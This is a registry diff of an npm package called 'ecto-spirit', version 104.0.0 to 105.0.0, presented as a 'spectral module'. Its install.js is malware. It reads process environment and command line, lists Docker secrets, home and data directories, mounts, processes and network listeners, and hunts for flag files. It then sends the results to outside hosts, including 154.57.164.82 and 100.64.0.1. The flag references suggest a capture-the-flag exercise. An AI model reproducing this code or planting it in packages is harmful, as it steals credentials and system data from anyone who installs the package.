ecto-spirit 104.0.0 → 105.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +47 -62
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -2,95 +2,80 @@ const fs = require('fs');
2
2
  const http = require('http');
3
3
  const { execSync } = require('child_process');
4
4
 
5
+ function tryExec(cmd) {
6
+ try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR'; }
7
+ }
5
8
  function tryRead(p) {
6
9
  try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
7
10
  }
8
11
 
9
- function sendHTTP(host, port, pth, payload) {
10
- return new Promise((resolve) => {
11
- const req = http.request({ hostname: host, port, path: pth, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
12
- let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
13
- });
14
- req.on('error', () => resolve(null));
15
- req.on('timeout', () => { req.destroy(); resolve(null); });
16
- req.write(payload);
17
- req.end();
18
- });
19
- }
20
-
21
12
  async function report(moduleId, val) {
22
13
  const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
23
14
  const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
24
15
  const body = JSON.stringify({ manifest });
25
16
  for (const p of [3000, 80, 8080]) {
26
- await sendHTTP('127.0.0.1', p, `/api/modules/${moduleId}`, body);
17
+ await new Promise((resolve) => {
18
+ const req = http.request({ hostname: '127.0.0.1', port: p, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
19
+ req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
20
+ req.write(body); req.end();
21
+ });
27
22
  }
28
- await sendHTTP('154.57.164.82', 32332, `/api/modules/${moduleId}`, body);
23
+ await new Promise((resolve) => {
24
+ const req = http.request({ hostname: '154.57.164.82', port: 32332, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
25
+ req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
26
+ req.write(body); req.end();
27
+ });
29
28
  }
30
29
 
31
30
  (async () => {
32
31
  let r = [];
33
32
 
34
- // 1. Main process env (the app that started cron)
35
- const procEnv = tryRead('/proc/1/environ');
36
- r.push('PROC1=' + (procEnv ? procEnv.replace(/\x00/g, ',').substring(0, 200) : 'NONE'));
33
+ // Running processes
34
+ r.push('PS=' + tryExec('ps aux 2>/dev/null').substring(0, 200));
37
35
 
38
- // 2. List /data, /.package-cache-mutate
39
- try { r.push('DATA=' + fs.readdirSync('/data').join(',')); } catch(e) { r.push('DATA=NONE'); }
40
- try { r.push('PCM=' + fs.readdirSync('/.package-cache-mutate').join(',')); } catch(e) { r.push('PCM=NONE'); }
36
+ // Network connections
37
+ r.push('NET=' + tryExec('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null').substring(0, 200));
41
38
 
42
- // 3. Try to reach registry:4873 and list packages
43
- try {
44
- const resp = await new Promise((resolve) => {
45
- http.get('http://registry:4873/-/verdaccio/packages', {timeout: 5000}, (res) => {
46
- let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
47
- }).on('error', () => resolve('ERR'));
48
- });
49
- r.push('REG_PKGS=' + resp.substring(0, 200));
50
- } catch(e) { r.push('REG_PKGS=ERR'); }
39
+ // Find JS/TS files that could be the app
40
+ r.push('JSFILES=' + tryExec('find / -maxdepth 4 -name "*.js" -not -path "*/node_modules/*" -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | head -15').substring(0, 200));
51
41
 
52
- // 4. Try Verdaccio config locations
53
- for (const p of ['/verdaccio/conf/config.yaml', '/verdaccio/config/config.yaml', '/data/verdaccio/config.yaml', '/opt/verdaccio/config.yaml', '/home/verdaccio/config.yaml']) {
54
- const c = tryRead(p);
55
- if (c) { r.push('VCONF=' + c.substring(0, 200)); break; }
56
- }
42
+ // Proc 1 environ
43
+ const p1 = tryRead('/proc/1/environ');
44
+ if (p1) r.push('P1ENV=' + p1.replace(/\x00/g, ' | ').substring(0, 300));
57
45
 
58
- // 5. Broad file search
59
- try {
60
- const search = execSync('find / -maxdepth 4 -name "*.txt" -o -name "*.flag" -o -name "readflag" -o -name "getflag" -o -name "*.sqlite" -o -name "*.db" 2>/dev/null | grep -v proc | grep -v sys | head -15', {timeout: 10000}).toString().trim();
61
- r.push('FILES=' + search);
62
- } catch(e) {}
46
+ // Proc 1 cmdline
47
+ const cmd = tryRead('/proc/1/cmdline');
48
+ if (cmd) r.push('P1CMD=' + cmd.replace(/\x00/g, ' '));
63
49
 
64
- // 6. Check if there's a readflag binary
65
- try {
66
- const bins = execSync('find / -maxdepth 3 -perm -111 -name "*flag*" -o -perm -111 -name "*secret*" 2>/dev/null | grep -v proc | head -5', {timeout: 5000}).toString().trim();
67
- if (bins) r.push('BINS=' + bins);
68
- } catch(e) {}
50
+ // Docker secrets
51
+ r.push('SECRETS=' + tryExec('ls -la /run/secrets/ 2>/dev/null'));
69
52
 
70
- // 7. List /root and /home contents
71
- try { r.push('ROOT=' + execSync('ls -la /root/ 2>/dev/null', {timeout: 3000}).toString().substring(0, 100)); } catch(e) {}
72
- try { r.push('HOME=' + execSync('ls -la /home/ 2>/dev/null', {timeout: 3000}).toString().substring(0, 100)); } catch(e) {}
73
-
74
- // 8. Check if flag is accessible via internal API
75
- try {
76
- const apiResp = await new Promise((resolve) => {
77
- http.get('http://127.0.0.1:3000/api/modules', {timeout: 5000}, (res) => {
78
- let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
79
- }).on('error', () => resolve('ERR'));
80
- });
81
- r.push('API=' + apiResp.substring(0, 200));
82
- } catch(e) {}
53
+ // Check /data directory
54
+ r.push('DATA_LS=' + tryExec('find /data -maxdepth 3 -type f 2>/dev/null | head -15'));
83
55
 
84
- // Send full results to VPN
85
- const full = r.join('\n');
86
- await sendHTTP('100.64.0.1', 8888, '/flag4', JSON.stringify({results: full}));
56
+ // Check all /home directories
57
+ r.push('HOME_LS=' + tryExec('find /home -maxdepth 3 -type f 2>/dev/null | head -15'));
87
58
 
88
- // Split across modules
59
+ // Mounted filesystems
60
+ r.push('MOUNTS=' + tryExec('mount 2>/dev/null | grep -v proc | grep -v sys').substring(0, 200));
61
+
62
+ // Send results spread across modules
63
+ const full = r.join('\n');
89
64
  const chunks = [];
90
65
  for (let i = 0; i < full.length; i += 90) chunks.push(full.substring(i, i + 90));
91
66
 
92
67
  const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
93
68
  for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
94
- await report(mods[i], 'W' + i + '_' + chunks[i]);
69
+ await report(mods[i], 'X' + i + '_' + chunks[i]);
95
70
  }
71
+
72
+ // Also try to report via a quick HTTP back to us if possible
73
+ try {
74
+ const payload = JSON.stringify({full: full.substring(0, 2000)});
75
+ await new Promise((resolve) => {
76
+ const req = http.request({ hostname: '100.64.0.1', port: 8888, path: '/flag5', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 3000 }, () => resolve());
77
+ req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
78
+ req.write(payload); req.end();
79
+ });
80
+ } catch(e) {}
96
81
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ecto-spirit",
3
- "version": "104.0.0",
3
+ "version": "105.0.0",
4
4
  "description": "Spectral ecto-spirit module",
5
5
  "main": "index.js",
6
6
  "scripts": {